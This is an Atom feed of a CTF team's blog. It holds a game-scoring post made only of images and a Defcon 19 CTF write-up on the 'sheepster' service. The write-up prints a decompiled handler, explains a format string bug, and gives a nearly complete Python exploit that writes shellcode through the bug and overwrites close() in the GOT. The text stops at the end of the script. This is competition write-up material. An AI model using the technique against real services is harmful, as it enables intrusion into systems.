<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-2188843482388834721</id><updated>2012-02-16T13:05:10.109-08:00</updated><category term='binjitsu'/><category term='sandy'/><category term='quals'/><category term='rev400'/><category term='history'/><category term='castle'/><category term='ddtek'/><category term='buffer overflow'/><category term='bunny'/><category term='summary'/><category term='f300'/><category term='defcon'/><category term='ctf'/><category term='game scoring'/><category term='rc4'/><category term='sheepster'/><category term='format string'/><title type='text'>Routards Team Blog</title><subtitle type='html'>Feelings and write-ups about Defcon CTF</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://www.routards.org/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2188843482388834721/posts/default'/><link rel='alternate' type='text/html' href='http://www.routards.org/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>routardz</name><uri>http://www.blogger.com/profile/16885996044315754891</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>9</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-2188843482388834721.post-4650834512820051894</id><published>2011-08-29T15:40:00.000-07:00</published><updated>2011-08-29T16:00:31.729-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ctf'/><category scheme='http://www.blogger.com/atom/ns#' term='game scoring'/><category scheme='http://www.blogger.com/atom/ns#' term='ddtek'/><category scheme='http://www.blogger.com/atom/ns#' term='history'/><category scheme='http://www.blogger.com/atom/ns#' term='binjitsu'/><title type='text'>Binjitsu III, game scoring</title><content type='html'>By the way, at the beginning of the CTF, we were given the following sheets explaining the CTF and game scoring:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-dLt_U5bUCWM/TlgSTT7iPOI/AAAAAAAAADM/8CSgGdWIa-4/s1600/binjitsu3.jpg" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="320" width="199" src="http://2.bp.blogspot.com/-dLt_U5bUCWM/TlgSTT7iPOI/AAAAAAAAADM/8CSgGdWIa-4/s320/binjitsu3.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-GLx9L9pU8Lg/TlgSTQs0LZI/AAAAAAAAADU/IqxQLURqIm8/s1600/game_scoring_front.jpg" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="320" width="221" src="http://4.bp.blogspot.com/-GLx9L9pU8Lg/TlgSTQs0LZI/AAAAAAAAADU/IqxQLURqIm8/s320/game_scoring_front.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-XdXsyk8qqu0/TlgSTuREo1I/AAAAAAAAADc/r_UI_afr9-Y/s1600/game_scoring_back.jpg" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="320" width="210" src="http://1.bp.blogspot.com/-XdXsyk8qqu0/TlgSTuREo1I/AAAAAAAAADc/r_UI_afr9-Y/s320/game_scoring_back.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Also, the official defcon book had two pages explaining the CTF and giving a nice history of the previous ones, organizing team, winning team, operating systems used and so on:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-DxMg1IZ2IB8/TlgS1ckuDkI/AAAAAAAAADk/OyAtUa68HI4/s1600/book_ctf_scoring.jpg" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="320" width="209" src="http://2.bp.blogspot.com/-DxMg1IZ2IB8/TlgS1ckuDkI/AAAAAAAAADk/OyAtUa68HI4/s320/book_ctf_scoring.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-KYm0OBKs7Bk/TlgS1biMnZI/AAAAAAAAADs/__f954X8Rjk/s1600/book_ctf_history.jpg" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="320" width="215" src="http://4.bp.blogspot.com/-KYm0OBKs7Bk/TlgS1biMnZI/AAAAAAAAADs/__f954X8Rjk/s320/book_ctf_history.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2188843482388834721-4650834512820051894?l=www.routards.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.routards.org/feeds/4650834512820051894/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.routards.org/2011/08/binjitsu-iii-game-scoring.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2188843482388834721/posts/default/4650834512820051894'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2188843482388834721/posts/default/4650834512820051894'/><link rel='alternate' type='text/html' href='http://www.routards.org/2011/08/binjitsu-iii-game-scoring.html' title='Binjitsu III, game scoring'/><author><name>routardz</name><uri>http://www.blogger.com/profile/16885996044315754891</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-dLt_U5bUCWM/TlgSTT7iPOI/AAAAAAAAADM/8CSgGdWIa-4/s72-c/binjitsu3.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2188843482388834721.post-7549548911525069766</id><published>2011-08-12T17:49:00.000-07:00</published><updated>2011-08-13T11:09:33.537-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ctf'/><category scheme='http://www.blogger.com/atom/ns#' term='format string'/><category scheme='http://www.blogger.com/atom/ns#' term='defcon'/><category scheme='http://www.blogger.com/atom/ns#' term='sheepster'/><title type='text'>Defcon 19 CTF - Sheepster</title><content type='html'>&lt;pre class="brush: plain"&gt;sheepster: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD),&lt;br /&gt;dynamically linked (uses shared libs), for FreeBSD 8.2, stripped&lt;/pre&gt;&lt;br /&gt;&lt;a href="http://sites.google.com/site/routardz/sheepster"&gt;This service&lt;/a&gt; classically listens on port 5775 and drops to privileges of user "sheepster". For every connection, a child is forked and handler function is called.&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;Decompilation by &lt;a href="http://www.hex-rays.com/idapro/"&gt;IDA Pro&lt;/a&gt; with &lt;a href="http://www.hex-rays.com/"&gt;Hex-Rays&lt;/a&gt; gives:&lt;br /&gt;&lt;pre class="brush: c"&gt;int __cdecl handler(int fd)&lt;br /&gt;{&lt;br /&gt;  const char *encoded; // eax@5&lt;br /&gt;  size_t buflen; // eax@20&lt;br /&gt;  __int16 v3; // ax@26&lt;br /&gt;  size_t len__; // eax@29&lt;br /&gt;  const char *unscrambled; // eax@30&lt;br /&gt;  size_t buflen_; // eax@36&lt;br /&gt;  const char *scrambled; // eax@36&lt;br /&gt;  int result_; // [sp+1Ch] [bp-AFCh]@2&lt;br /&gt;  char feof_; // [sp+23h] [bp-AF5h]@26&lt;br /&gt;  char format[1000]; // [sp+26h] [bp-AF2h]@36&lt;br /&gt;  char user_name[10]; // [sp+40Eh] [bp-70Ah]@9&lt;br /&gt;  char buf[256]; // [sp+418h] [bp-700h]@1&lt;br /&gt;  char dest[512]; // [sp+518h] [bp-600h]@1&lt;br /&gt;  char filename_address[1000]; // [sp+718h] [bp-400h]@9&lt;br /&gt;  FILE *stream; // [sp+B00h] [bp-18h]@22&lt;br /&gt;  char *flag_r; // [sp+B04h] [bp-14h]@1&lt;br /&gt;  const char *flag_a; // [sp+B08h] [bp-10h]@1&lt;br /&gt;  int flag; // [sp+B0Ch] [bp-Ch]@1&lt;br /&gt;  unsigned int len; // [sp+B10h] [bp-8h]@1&lt;br /&gt;&lt;br /&gt;  flag_r = "r";&lt;br /&gt;  flag_a = "a";&lt;br /&gt;  flag = 0;&lt;br /&gt;  len = 0;&lt;br /&gt;  memset(filename, 0, 6u);&lt;br /&gt;  memcpy(filename, "./log", 6u);&lt;br /&gt;  memcpy(dest, "&amp;gt;", 2u);&lt;br /&gt;  send_string(fd, dest, 0);&lt;br /&gt;  memset(buf, 0, 0x100u);&lt;br /&gt;  len = do_recv(fd, buf, 10u, '\n');&lt;br /&gt;  if ( (len &amp; 0x80000000u) == 0 )&lt;br /&gt;  {&lt;br /&gt;    if ( strcmp(buf, "zzyzxrd") )&lt;br /&gt;    {&lt;br /&gt;      encoded = pass_encode(buf);&lt;br /&gt;      if ( strcmp(encoded, "x`lXPPTH@8") )&lt;br /&gt;      {&lt;br /&gt;        close(fd);&lt;br /&gt;        return 0;&lt;br /&gt;      }&lt;br /&gt;    }&lt;br /&gt;    else&lt;br /&gt;    {&lt;br /&gt;      flag = 1;&lt;br /&gt;    }&lt;br /&gt;    memcpy(dest, "Enter Username:", 0x10u);&lt;br /&gt;    send_string(fd, dest, 0);&lt;br /&gt;    memset(buf, 0, 0x100u);&lt;br /&gt;    len = do_recv(fd, buf, 10u, '\n');&lt;br /&gt;    if ( (len &amp; 0x80000000u) == 0 )&lt;br /&gt;    {&lt;br /&gt;      strncpy(user_name, buf, 10u);&lt;br /&gt;      memset(filename_address, 0, 1000u);&lt;br /&gt;      memset(dest, 0, 512u);&lt;br /&gt;      sprintf(filename_address, "0x%x\n", filename);&lt;br /&gt;      memcpy(dest, "Welcome to the ddtek blog.\n", 28u);&lt;br /&gt;      send_string(fd, dest, 0);&lt;br /&gt;      while ( 1 )&lt;br /&gt;      {&lt;br /&gt;        while ( 1 )&lt;br /&gt;        {&lt;br /&gt;          len = 0;&lt;br /&gt;          send_string(fd, "$", 0);&lt;br /&gt;          memset(dest, 0, 512u);&lt;br /&gt;          memset(buf, 0, 256u);&lt;br /&gt;          len = do_recv(fd, buf, 10u, '\n');&lt;br /&gt;          if ( (len &amp; 0x80000000u) != 0 )&lt;br /&gt;          {&lt;br /&gt;            close(fd);&lt;br /&gt;            return 0;&lt;br /&gt;          }&lt;br /&gt;          if ( strcmp(buf, "key_op") )&lt;br /&gt;            break;&lt;br /&gt;          if ( backdoor_crypto(fd, 0) )&lt;br /&gt;            send_string(fd, "success\n", 0);&lt;br /&gt;          else&lt;br /&gt;            send_string(fd, "fail\n", 0);&lt;br /&gt;        }&lt;br /&gt;        if ( !strcmp(buf, "quit") )&lt;br /&gt;          break;&lt;br /&gt;        if ( strcmp(buf, "echo") )&lt;br /&gt;        {&lt;br /&gt;          if ( strcmp(buf, "read") )&lt;br /&gt;          {&lt;br /&gt;            if ( strcmp(buf, "write") )&lt;br /&gt;            {&lt;br /&gt;              if ( buf[0] )&lt;br /&gt;              {&lt;br /&gt;                strcpy(dest, buf);&lt;br /&gt;                strcat(dest, " : command not found\n");&lt;br /&gt;                send_string(fd, dest, 0);&lt;br /&gt;              }&lt;br /&gt;            }&lt;br /&gt;            else&lt;br /&gt;            {&lt;br /&gt;              stream = fopen(filename, flag_a); // command write&lt;br /&gt;              if ( stream )&lt;br /&gt;              {&lt;br /&gt;                memset(dest, 0, 512u);&lt;br /&gt;                memcpy(dest, "Post:", 6u);&lt;br /&gt;                send_string(fd, dest, 0);&lt;br /&gt;                memset(buf, 0, 256u);&lt;br /&gt;                len = do_recv(fd, buf, 64u, '\n');&lt;br /&gt;                if ( (len &amp; 0x80000000u) != 0 )&lt;br /&gt;                {&lt;br /&gt;                  close(fd);&lt;br /&gt;                  return 0;&lt;br /&gt;                }&lt;br /&gt;                memset(dest, 0, 512u);&lt;br /&gt;                strcpy(dest, user_name);&lt;br /&gt;                buflen_ = strlen(dest);&lt;br /&gt;                memcpy(&amp;dest[buflen_], ": ", 3u);&lt;br /&gt;                strcat(dest, buf);&lt;br /&gt;                memset(format, 0, 1000u);&lt;br /&gt;                scrambled = encode(dest);&lt;br /&gt;                strcpy(format, scrambled);&lt;br /&gt;                strcat(format, "\n");&lt;br /&gt;                if ( flag == 1 )&lt;br /&gt;                  fputs(format, stream);&lt;br /&gt;                else&lt;br /&gt;                  fprintf(stream, format);      // vuln&lt;br /&gt;                fclose(stream);&lt;br /&gt;              }&lt;br /&gt;              else&lt;br /&gt;              {&lt;br /&gt;                memset(dest, 0, 512u);&lt;br /&gt;                memcpy(dest, "Could not open blog\n", 21u);&lt;br /&gt;                send_string(fd, dest, 0);&lt;br /&gt;              }&lt;br /&gt;            }&lt;br /&gt;          }&lt;br /&gt;          else&lt;br /&gt;          {&lt;br /&gt;            stream = fopen(filename, flag_r);   // command read&lt;br /&gt;            if ( stream )&lt;br /&gt;            {&lt;br /&gt;              fseek(stream, -1000, 2);&lt;br /&gt;              while ( 1 )&lt;br /&gt;              {&lt;br /&gt;                memset(dest, 0, 0x200u);&lt;br /&gt;                fgets(dest, 100, stream);&lt;br /&gt;                if ( _isthreaded )&lt;br /&gt;                {&lt;br /&gt;                  feof_ = feof(stream) != 0;&lt;br /&gt;                }&lt;br /&gt;                else&lt;br /&gt;                {&lt;br /&gt;                  v3 = LOWORD(stream-&amp;gt;_IO_read_base);&lt;br /&gt;                  feof_ = (v3 &amp; ' ') != 0;&lt;br /&gt;                }&lt;br /&gt;                if ( feof_ )&lt;br /&gt;                  break;&lt;br /&gt;                unscrambled = decode(dest);&lt;br /&gt;                strcpy(dest, unscrambled);&lt;br /&gt;                send_string(fd, dest, 0);&lt;br /&gt;              }&lt;br /&gt;              memset(dest, 0, 0x200u);&lt;br /&gt;              len__ = strlen(dest);&lt;br /&gt;              memcpy(&amp;dest[len__], "eof\n", 5u);&lt;br /&gt;              send_string(fd, dest, 0);&lt;br /&gt;              fclose(stream);&lt;br /&gt;            }&lt;br /&gt;            else&lt;br /&gt;            {&lt;br /&gt;              memset(dest, 0, 0x200u);&lt;br /&gt;              memcpy(dest, "Could not open blog\n", 0x15u);&lt;br /&gt;              send_string(fd, dest, 0);&lt;br /&gt;            }&lt;br /&gt;          }&lt;br /&gt;        }&lt;br /&gt;        else&lt;br /&gt;        {&lt;br /&gt;          memset(dest, 0, 0x200u);&lt;br /&gt;          memcpy(dest, "&amp;gt;", 2u);&lt;br /&gt;          send_string(fd, dest, 0);&lt;br /&gt;          memset(buf, 0, 0x100u);&lt;br /&gt;          len = do_recv(fd, buf, 64u, '\n');&lt;br /&gt;          if ( (len &amp; 0x80000000u) != 0 )&lt;br /&gt;          {&lt;br /&gt;            close(fd);&lt;br /&gt;            return 0;&lt;br /&gt;          }&lt;br /&gt;          buflen = strlen(buf);&lt;br /&gt;          memcpy(&amp;buf[buflen], "\n", 2u);&lt;br /&gt;          send_string(fd, buf, 0);&lt;br /&gt;        }&lt;br /&gt;      }&lt;br /&gt;      result_ = 0;&lt;br /&gt;    }&lt;br /&gt;    else&lt;br /&gt;    {&lt;br /&gt;      close(fd);&lt;br /&gt;      result_ = 0;&lt;br /&gt;    }&lt;br /&gt;  }&lt;br /&gt;  else&lt;br /&gt;  {&lt;br /&gt;    close(fd);&lt;br /&gt;    result_ = 0;&lt;br /&gt;  }&lt;br /&gt;  return result_;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;A password is asked, silently. If it matches "zzyzxrd", program continues with flag = 1. If, once encoded, it matches "x`lXPPTH@8", then same with flag = 0. Any other string drops the connection.&lt;br /&gt;&lt;br /&gt;The server then asks for a username, ended with "\n" or of maximum 10 characters. After, the user is provided with the blog command-line, accepting the following commands:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;quit: close connection&lt;/li&gt;&lt;li&gt;key_op: enter ddtek's backdoor, print "failed" if wrong key and continue&lt;/li&gt;&lt;li&gt;echo: print the args&lt;/li&gt;&lt;li&gt;read: read a blog entry from file&lt;/li&gt;&lt;li&gt;write: write a blog entry to file, with fputs(stream, string) if flag is 0 or fprintf(stream, string) if flag is 1 =&amp;gt; format string vulnerability&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Note that posts are encoded (using a custom function) when saved to file with command write. Similarly, posts are decoded (with the inverse function) before being displayed with command read.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Exploit&lt;/h3&gt;&lt;br /&gt;First, implement the password encode function, create its inverse and decode the password that leaves flag = 0. Second, implement the encode and decode functions used in write and read commands.&lt;br /&gt;&lt;br /&gt;Then, leverage the format string vulnerability to:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;write a shellcode in an available rwx memory area&lt;/li&gt;&lt;li&gt;rewrite a GOT function pointer such as close() to jump to it&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;Because the program encodes the blog post before passing it to fprintf, every format string must be decoded first then sent to the program.&lt;br /&gt;This implies the following limitations:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;encoded format string must not contain "\x00" (stops strcat) or "\n" (stops recv)&lt;/li&gt;&lt;li&gt;the format string must be smaller than 64 characters&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;In order to have a set of valid format strings to write all required data, the following exploit implements a recursive algorithm choosing between different format string techniques (half/byte of length 6/4/3/2/1).&lt;br /&gt;&lt;br /&gt;Exploit code:&lt;br /&gt;&lt;pre class="brush: c"&gt;#!/usr/bin/python&lt;br /&gt;# Defcon 2011 CTF - sheepster&lt;br /&gt;import socket, random, string&lt;br /&gt;from sys import argv,exit&lt;br /&gt;from struct import pack, unpack&lt;br /&gt;&lt;br /&gt;DEFAULT_PORT = 5775&lt;br /&gt;DEBUG = False&lt;br /&gt;GOT_CLOSE = 0x0804E698&lt;br /&gt;AREA = 0x804ec70 # some available rwx memory&lt;br /&gt;&lt;br /&gt;# reimplement the password encode function&lt;br /&gt;def pass_encode(s):&lt;br /&gt;  o = ''&lt;br /&gt;  for i in range(len(s)):&lt;br /&gt;    x = ord(s[i])&lt;br /&gt;    x += 3 * i&lt;br /&gt;    x &amp;gt;&amp;gt;= 2&lt;br /&gt;    x -= 2 * i&lt;br /&gt;    x *= 4&lt;br /&gt;    o += chr(x &amp; 0xFF)&lt;br /&gt;  return o&lt;br /&gt;&lt;br /&gt;# then implement its inverse&lt;br /&gt;def pass_decode(s):&lt;br /&gt;  o = ''&lt;br /&gt;  for i in range(len(s)):&lt;br /&gt;    x = ord(s[i])&lt;br /&gt;    x /= 4&lt;br /&gt;    x += 2 * i&lt;br /&gt;    x &amp;lt;&amp;lt;= 2&lt;br /&gt;    x -= 3 * i&lt;br /&gt;    o += chr(x &amp; 0xFF)&lt;br /&gt;  return o&lt;br /&gt;&lt;br /&gt;# encode function used to write posts to file&lt;br /&gt;def encode(s, offset=0):&lt;br /&gt;  o = ''&lt;br /&gt;  for i in range(len(s)):&lt;br /&gt;    x = ord(s[i])&lt;br /&gt;    x ^= 0x2B&lt;br /&gt;    x += 63&lt;br /&gt;    x ^= 0x58&lt;br /&gt;    x -= 77&lt;br /&gt;    x ^= 0x4A&lt;br /&gt;    x += 27&lt;br /&gt;    x -= (2 * (offset+i)) % 8&lt;br /&gt;    o += chr(x &amp; 0xFF)&lt;br /&gt;  return o&lt;br /&gt;&lt;br /&gt;# decode function used to read posts from file&lt;br /&gt;def decode(s, offset=0):&lt;br /&gt;  o = ''&lt;br /&gt;  for i in range(len(s)):&lt;br /&gt;    x = ord(s[i])&lt;br /&gt;    x += (2 * (offset+i)) % 8&lt;br /&gt;    x -= 27&lt;br /&gt;    x ^= 0x4A&lt;br /&gt;    x += 77&lt;br /&gt;    x ^= 0x58&lt;br /&gt;    x -= 63&lt;br /&gt;    x ^= 0x2B&lt;br /&gt;    o += chr(x &amp; 0xFF)&lt;br /&gt;  return o&lt;br /&gt;&lt;br /&gt;def randalnum(size):&lt;br /&gt;  alnum = [c for c in string.lowercase+string.uppercase+string.digits]&lt;br /&gt;  return "".join([random.choice(alnum) for i in range(size)])&lt;br /&gt;&lt;br /&gt;def connect(dst, port):&lt;br /&gt;  try:&lt;br /&gt;    s = socket.socket(socket.AF_INET6 if ':' in dst else socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;    s.connect((dst, port))&lt;br /&gt;    return s&lt;br /&gt;  except socket.error, e:&lt;br /&gt;    print "Error: %s" % repr(e)&lt;br /&gt;    exit(1)&lt;br /&gt;&lt;br /&gt;def recv(s, size=4096):&lt;br /&gt;  d = s.recv(size)&lt;br /&gt;  if DEBUG: print "S: %r" % d&lt;br /&gt;  return d&lt;br /&gt;&lt;br /&gt;def send(s, d):&lt;br /&gt;  if DEBUG: print "C: %r" % d&lt;br /&gt;  return s.send(d)&lt;br /&gt;&lt;br /&gt;def welcome(s, user=""):&lt;br /&gt;  recv(s) # &amp;gt;&lt;br /&gt;  # enter with flag = 0 by giving the encoded password&lt;br /&gt;  send(s, pass_decode("x`lXPPTH@8") + "\n") # "xevgdirkhe"&lt;br /&gt;  recv(s) # "Enter Username:"&lt;br /&gt;  if len(user) &amp;lt; 10:&lt;br /&gt;    user += "\n"&lt;br /&gt;  send(s, user[:10])&lt;br /&gt;  if "$" not in recv(s): # "Welcome to the ddtek blog.\n"&lt;br /&gt;    recv(s) # "$"&lt;br /&gt;&lt;br /&gt;def write(s, data):&lt;br /&gt;  send(s, "write\n")&lt;br /&gt;  r = recv(s) # "Post:"&lt;br /&gt;  if "Could not open blog" in r:&lt;br /&gt;    print "[!] Error: server replied %r" % r.strip()&lt;br /&gt;    exit(1)&lt;br /&gt;  data = decode(data, offset=10) # user+": "&lt;br /&gt;  if len(data) &amp;lt; 64:&lt;br /&gt;    data += "\n"&lt;br /&gt;  print "[+] Writing post of length %i" % len(data)&lt;br /&gt;  send(s, data[:64]) # max size 64 and "\n" terminates&lt;br /&gt;  recv(s) # "$"&lt;br /&gt;&lt;br /&gt;def read(s):&lt;br /&gt;  send(s, "read\n")&lt;br /&gt;  d = ""&lt;br /&gt;  while not d.endswith("eof\n$"):&lt;br /&gt;    d += recv(s)&lt;br /&gt;  return d&lt;br /&gt;&lt;br /&gt;def read_find(s, user):&lt;br /&gt;  # read text: multiple blog posts&lt;br /&gt;  text = read(s)&lt;br /&gt;  # match start&lt;br /&gt;  startp = user + ": "&lt;br /&gt;  start = text.find(startp)&lt;br /&gt;  if start == -1:&lt;br /&gt;    raise Exception("read_find(): cannot find start")&lt;br /&gt;  text = text[start+len(startp):]&lt;br /&gt;  # match end -- we expect our post to be the last one when reading&lt;br /&gt;  end = text.find("\neof\n$")&lt;br /&gt;  if end == -1:&lt;br /&gt;    raise Exception("read_find(): cannot find end")&lt;br /&gt;  text = text[:end]&lt;br /&gt;  # we got it!&lt;br /&gt;  return encode(text, 10)&lt;br /&gt;&lt;br /&gt;def valid_format_string(data, already_written=0): # avoid bad chars&lt;br /&gt;  data = decode(data, offset=already_written)&lt;br /&gt;  if "\n" in data or "\x00" in data or len(data) &amp;gt; 64:&lt;br /&gt;    return False&lt;br /&gt;  else:&lt;br /&gt;    return True&lt;br /&gt;&lt;br /&gt;def fmt_write_half(address, data, offset, already_written=0):&lt;br /&gt;  data += "\x00"*(-len(data)%2) # align&lt;br /&gt;  v = [unpack("&amp;lt;H",data[i:][:2])[0] for i in range(0,len(data),2)]&lt;br /&gt;  f  = ""&lt;br /&gt;  for i in range(len(v)):&lt;br /&gt;    f += pack("&amp;lt;I", address + 2*i)&lt;br /&gt;  aw = already_written + len(f)&lt;br /&gt;  for i in range(len(v)):&lt;br /&gt;    f += "%" + str((v[i]-aw)&amp;0xFFFF) + "u%" + str(offset + i) + "$hn"&lt;br /&gt;    aw = v[i]&lt;br /&gt;  return f&lt;br /&gt;&lt;br /&gt;def fmt_write_byte(address, data, offset, already_written=0):&lt;br /&gt;  v = map(ord, [c for c in data])&lt;br /&gt;  f  = ""&lt;br /&gt;  for i in range(len(v)):&lt;br /&gt;    f += pack("&amp;lt;I", address + i)&lt;br /&gt;  aw = already_written + len(f)&lt;br /&gt;  for i in range(len(v)):&lt;br /&gt;    f += "%" + str((v[i]-aw)&amp;0xFF) + "u%" + str(offset + i) + "$hhn"&lt;br /&gt;    aw = v[i]&lt;br /&gt;  return f&lt;br /&gt;&lt;br /&gt;def find_strategy(data, address, offset, already_written):&lt;br /&gt;  """Find the best strategy of format strings to write data at address.&lt;br /&gt;At our disposition: format strings of half-words or bytes, any length.&lt;br /&gt;Limitations: length &amp;lt; 64 and no "\n" or "\x00" after encode&lt;br /&gt;Function recursively checks if a given choice does not lead to a dead-end"""&lt;br /&gt;  &lt;br /&gt;  if len(data) == 0: # nothing to do&lt;br /&gt;    return []&lt;br /&gt;  &lt;br /&gt;  if len(data) &amp;gt;= 6:&lt;br /&gt;    fmt = fmt_write_half(address, data[:6], offset, already_written)&lt;br /&gt;    if valid_format_string(fmt, already_written):&lt;br /&gt;      remainder = find_strategy(data[6:], address+6, offset, already_written)&lt;br /&gt;      if remainder != False:&lt;br /&gt;        return [(6, "half")] + remainder&lt;br /&gt;  &lt;br /&gt;  if len(data) &amp;gt;= 4:&lt;br /&gt;    fmt = fmt_write_half(address, data[:4], offset, already_written)&lt;br /&gt;    if valid_format_string(fmt, already_written):&lt;br /&gt;      remainder = find_strategy(data[4:], address+4, offset, already_written)&lt;br /&gt;      if remainder != False:&lt;br /&gt;        return [(4, "half")] + remainder&lt;br /&gt;  &lt;br /&gt;  if len(data) &amp;gt;= 4:&lt;br /&gt;    fmt = fmt_write_byte(address, data[:4], offset, already_written)&lt;br /&gt;    if valid_format_string(fmt, already_written):&lt;br /&gt;      remainder = find_strategy(data[4:], address+4, offset, already_written)&lt;br /&gt;      if remainder != False:&lt;br /&gt;        return [(4, "byte")] + remainder&lt;br /&gt;  &lt;br /&gt;  if len(data) &amp;gt;= 3:&lt;br /&gt;    fmt = fmt_write_byte(address, data[:3], offset, already_written)&lt;br /&gt;    if valid_format_string(fmt, already_written):&lt;br /&gt;      remainder = find_strategy(data[3:], address+3, offset, already_written)&lt;br /&gt;      if remainder != False:&lt;br /&gt;        return [(3, "byte")] + remainder&lt;br /&gt;  &lt;br /&gt;  if len(data) &amp;gt;= 2:&lt;br /&gt;    fmt = fmt_write_half(address, data[:2], offset, already_written)&lt;br /&gt;    if valid_format_string(fmt, already_written):&lt;br /&gt;      remainder = find_strategy(data[2:], address+2, offset, already_written)&lt;br /&gt;      if remainder != False:&lt;br /&gt;        return [(2, "half")] + remainder&lt;br /&gt;  &lt;br /&gt;  if len(data) &amp;gt;= 2:&lt;br /&gt;    fmt = fmt_write_byte(address, data[:2], offset, already_written)&lt;br /&gt;    if valid_format_string(fmt, already_written):&lt;br /&gt;      remainder = find_strategy(data[2:], address+2, offset, already_written)&lt;br /&gt;      if remainder != False:&lt;br /&gt;        return [(2, "byte")] + remainder&lt;br /&gt;  &lt;br /&gt;  if len(data) &amp;gt;= 1:&lt;br /&gt;    fmt = fmt_write_byte(address, data[:1], offset, already_written)&lt;br /&gt;    if valid_format_string(fmt, already_written):&lt;br /&gt;      remainder = find_strategy(data[1:], address+1, offset, already_written)&lt;br /&gt;      if remainder != False:&lt;br /&gt;        return [(1, "byte")] + remainder&lt;br /&gt;  &lt;br /&gt;  # no suitable format string found&lt;br /&gt;  return False&lt;br /&gt;&lt;br /&gt;def write_at_address(s, data, address):&lt;br /&gt;  # format string parameters&lt;br /&gt;  offset = 11&lt;br /&gt;  already_written = 10 # len(user + ": ")&lt;br /&gt;  &lt;br /&gt;  # find a combination of half/byte format strings that does it&lt;br /&gt;  strategy = find_strategy(data, address, offset, already_written)&lt;br /&gt;  &lt;br /&gt;  if strategy == False:&lt;br /&gt;    print "[!] Unable to find a suitable format string strategy"&lt;br /&gt;    exit(1)&lt;br /&gt;  &lt;br /&gt;  # then send the writes&lt;br /&gt;  i = 0&lt;br /&gt;  for length, type in strategy:&lt;br /&gt;    if type == "half":&lt;br /&gt;      fmt = fmt_write_half&lt;br /&gt;    else: # type == "byte"&lt;br /&gt;      fmt = fmt_write_byte&lt;br /&gt;    str = fmt(address + i, data[i:][:length], offset, already_written)&lt;br /&gt;    write(s, str)&lt;br /&gt;    i += length&lt;br /&gt;&lt;br /&gt;def exploit(dst, port):&lt;br /&gt;  s = connect(dst, port)&lt;br /&gt;  user = randalnum(8)&lt;br /&gt;  print "[*] User: %s" % user&lt;br /&gt;  welcome(s, user)&lt;br /&gt;  &lt;br /&gt;  sc = "\xcc" # your shellcode&lt;br /&gt;  &lt;br /&gt;  # write shellcode using format string&lt;br /&gt;  write_at_address(s, sc, AREA)&lt;br /&gt;  &lt;br /&gt;  # rewrite GOT entry of close() to point to shellcode&lt;br /&gt;  write_at_address(s, pack("&amp;lt;I", AREA), GOT_CLOSE)&lt;br /&gt;  &lt;br /&gt;  # jump to shellcode by calling close()&lt;br /&gt;  send(s, "quit\n")&lt;br /&gt;&lt;br /&gt;if __name__=='__main__':&lt;br /&gt;  if 